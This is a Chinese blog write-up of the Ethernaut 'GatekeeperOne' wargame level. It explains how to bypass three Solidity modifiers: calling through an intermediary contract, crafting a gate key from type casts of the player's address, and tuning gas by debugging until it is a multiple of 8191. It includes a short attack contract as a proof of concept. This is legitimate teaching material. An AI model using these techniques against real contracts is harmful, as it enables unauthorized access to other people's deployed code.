通过调试找到gas消耗 -ethernaut GatekeeperOne

通过调试找到gas消耗

1.在学习ethernaut的过程中,遇到了一个GatekeeperOne的题目,需要用到调试来查看gas的每一步消耗情况。当时找了很多writeup都是直接就出来了gas应该为多少,但是脑瓜子嗡嗡的,下面说一下我自己的解题过程

源代码:
pragma solidity ^0.4.18;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract GatekeeperOne {

  using SafeMath for uint256;
  address public entrant;

  modifier gateOne() {      //要求tx.origin不等于请求者,通过其他合约调用实现绕过
    require(msg.sender != tx.origin);           
    _;
  }

  modifier gateTwo() {          //(存量gas)%8192=0
    require(msg.gas.mod(8191) == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {             //对bytes8的gatekey进行判断  
    require(uint32(_gateKey) == uint16(_gateKey));          //gatekey的前16位为0,后16位0x4bec
    require(uint32(_gateKey) != uint64(_gateKey));      //要求前面32位不能全是0,不然就相等了
    require(uint32(_gateKey) == uint16(tx.origin));     //uint32(_gatekey)==uint16(tx.origin)   则:uint32(_gatekey)==19436,即为0x4bec
    _;  
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

分析思路:

​ 首先给源代码进行一下必要的注释,了解大概的程序运行流程和各个函数起到的作用。通过简单的注释知道了要想通关需要执行enter函数然后返回true。那么就需要绕过上面的三个modifier。现在分开来说:

  • gateOne的绕过方式非常简单,通过其他合约来进行调用即可使得msg.sender和tx.origin不等

    假设用户通过合约A调用合约B:

    • 对于合约A:tx.origin和msg.sender都是用户
    • 对于合约B:tx.origin是用户,msg.sender是合约A的地址
  • gateTwo的原理也很简单,当执行到require时,剩余的gas是8191的倍数即可,但是如何找到剩余的这个值还是有一定问题的。

  • gateThree的绕过中主要是两个值的类型转换,一个是tx.origin(当用其他合约调用时,该值就是玩家的地址),_gateKey是需要构造的。最简单的方式是通过其他的脚本来进行计算。

    先从第三个require入手:

    pragma solidity ^0.4.18;
    contract test{
    
    address test = 0x970F89cBceba7dA88ACCb5817aFDbc530fC54bEC;/*自己的地址*/
    uint32 public key = uint16(test);	/*即可得到key的32位无符号整型值,但是此时得到的是10进制的,转换成16进制即可。得到的结果其实就是自己地址的最后四位16进制值,此处我得到的是0x4bec*/
    }
    

    然后第一二个require了解了类型转换还是很容易绕过的。

    第一个require得到后面的应该是0x00004bec ,由第二个require可以得到前面不能是全零。0x00100000和0x01000000都是可以的,1的位置可以随意放,也可以不是1。

    最终我的地址我得到了这样的一个gatekey:0x0010000000004bec

    因此可以得到一个这样的poc,在remix中编译并运行

    pragma  solidity ^0.4.18;
    
    import "./gateone.sol";
    
    
    contract GateKeeperOnePoc{
        
        GatekeeperOne gate = GatekeeperOne(0xc2647fd2d838617cba8a5c3d02dcfecfddb536b1);
        
        function hackGate() public{
            gate.call.gas(999999)(bytes4(keccak256('enter(bytes8)')),bytes8(0x0010000000004bec));	//此处的999999可以设置高一点,避免出现out of gas;
            
        }
    }
    
    调试过程:

    由于在gateTwo的require中是用了msg.gas,因此需要在汇编中注意gas关键字。GAS关键字是获取执行可用的gas。由于EVM是栈虚拟机,因此此处需要注意获取到的gas后的dup2,dup2是将栈内的第2个元素(从栈顶向下算)移至栈顶。

    具体的gas数量获取如下:

    1. 先直接运行hackGate函数
      在这里插入图片描述
    2. 修改gas limit的值,可以先给高一点
      在这里插入图片描述
      在这里插入图片描述
  1. 然后确认等待执行。执行完成后可以看到一个debug,点击进入debug界面,在debug上面还有个链接也可以点进去看看。

在这里插入图片描述

通过etherscan查看gas的消耗

在这里插入图片描述
5. 找到其中的GAS和DUP2,然后看后面的gas数值是多少,然后和8191的倍数进行调整,最终得到一个数

在这里插入图片描述

961446 % 8191 = 3099

999999 - 3099 = 996900

  1. 利用该值然后再次执行hackGate函数。并调整gas limit为计算得到的996900

在这里插入图片描述

在这里插入图片描述

958395%8191 = 48

996900 - 48 = 996852
在这里插入图片描述
在这里插入图片描述

958348 % 8191 = 1

996852- 1 = 996851

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可以看到没有再出现revert,且958347 % 8191 = 0;成功绕过第二个。
然后点击提交可以发现已经成功了。
在这里插入图片描述

通过remix的debug来查看

可以通过那两个小箭头来实现单步的调试,依旧是找GAS和DUP2后的值,然后不断的修改提交执行时的gaslimit。

在这里插入图片描述
remaining gas即为剩余的gas,依旧是和上面的过程是一样的。通过不断的修改gas limit的值,然后单步到这个位置,看剩余的gas为多少。如果为8191的倍数即可。

在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值